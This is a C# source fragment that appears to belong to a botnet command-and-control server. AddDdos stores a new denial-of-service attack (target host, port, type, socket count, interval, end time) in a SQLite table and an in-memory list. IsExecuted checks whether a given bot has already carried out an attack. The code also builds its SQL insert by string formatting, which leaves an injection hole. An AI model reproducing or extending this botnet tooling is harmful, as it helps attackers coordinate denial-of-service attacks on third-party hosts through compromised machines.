public bool AddDdos(string strHost, int iPort, int iType, DateTime?EndDate, int iSockets, int iInterval) { try { DateTime CurrentDate = DateTime.Now; string strStartTime = string.Format("{0} {1}", CurrentDate.ToShortDateString(), CurrentDate.ToShortTimeString()); string strEndTime = EndDate == null ? "Never" : string.Format("{0} {1}", EndDate.Value.ToShortDateString(), EndDate.Value.ToShortTimeString()); SQLiteDataReader Result = CMain.DatabaseClient.ExecuteReadQuery( string.Format( "INSERT INTO ddos(ddos_host, ddos_port, ddos_type, ddos_start, ddos_stop, ddos_sockets, ddos_interval) VALUES('{0}', '{1}', '{2}', '{3}', '{4}', '{5}', '{6}'); SELECT last_insert_rowid()", strHost, iPort, iType, strStartTime, strEndTime, iSockets, iInterval )); if (!Result.HasRows) { return(false); } if (!Result.Read()) { return(false); } int iID = -1; if (!int.TryParse(Result[0].ToString(), out iID)) { return(false); } lock (m_lstDdos) { var Ddos = new CDdos(iID, strHost, iPort, iType, DateTime.Now, EndDate, iSockets, iInterval); m_lstDdos.Add(Ddos); } Console.WriteLine("New attack added."); return(true); } catch {} return(false); }
/// <summary> /// Used to check if an attack is already executed by said bot /// </summary> /// <param name="Bot"></param> /// <param name="Ddos"></param> /// <returns></returns> private bool IsExecuted(CClient Bot, CDdos Ddos) { try { if (Ddos.ExecutedBy == null) { return(false); } foreach (var Executed in Ddos.ExecutedBy) { if (Executed.Key == Bot) { return(true); } } } catch {} return(false); }